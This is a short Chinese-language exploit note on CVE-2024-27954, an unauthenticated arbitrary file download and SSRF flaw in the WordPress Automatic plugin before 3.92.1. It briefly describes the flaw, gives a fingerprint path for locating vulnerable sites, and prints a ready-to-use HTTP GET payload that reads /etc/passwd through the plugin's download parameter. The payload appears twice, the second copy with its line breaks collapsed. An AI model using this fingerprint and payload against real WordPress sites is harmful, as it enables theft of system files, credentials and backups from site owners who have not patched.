CVE-2024-27954：WordPress Automatic 插件任意文件下载和SSRF漏洞
1.漏洞简介
WordPress Automatic 插件<3.92.1易受未经验证的任意文件下载和SSRF的攻击。位于downloader.php文件中，可能允许攻击者从网站下载任何文件。敏感数据，包括登录凭据和备份文件。此漏洞已在3.92.1版本中修补。
2.指纹语法
"/wp-content/plugins/wp-automatic"
3.Payload
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
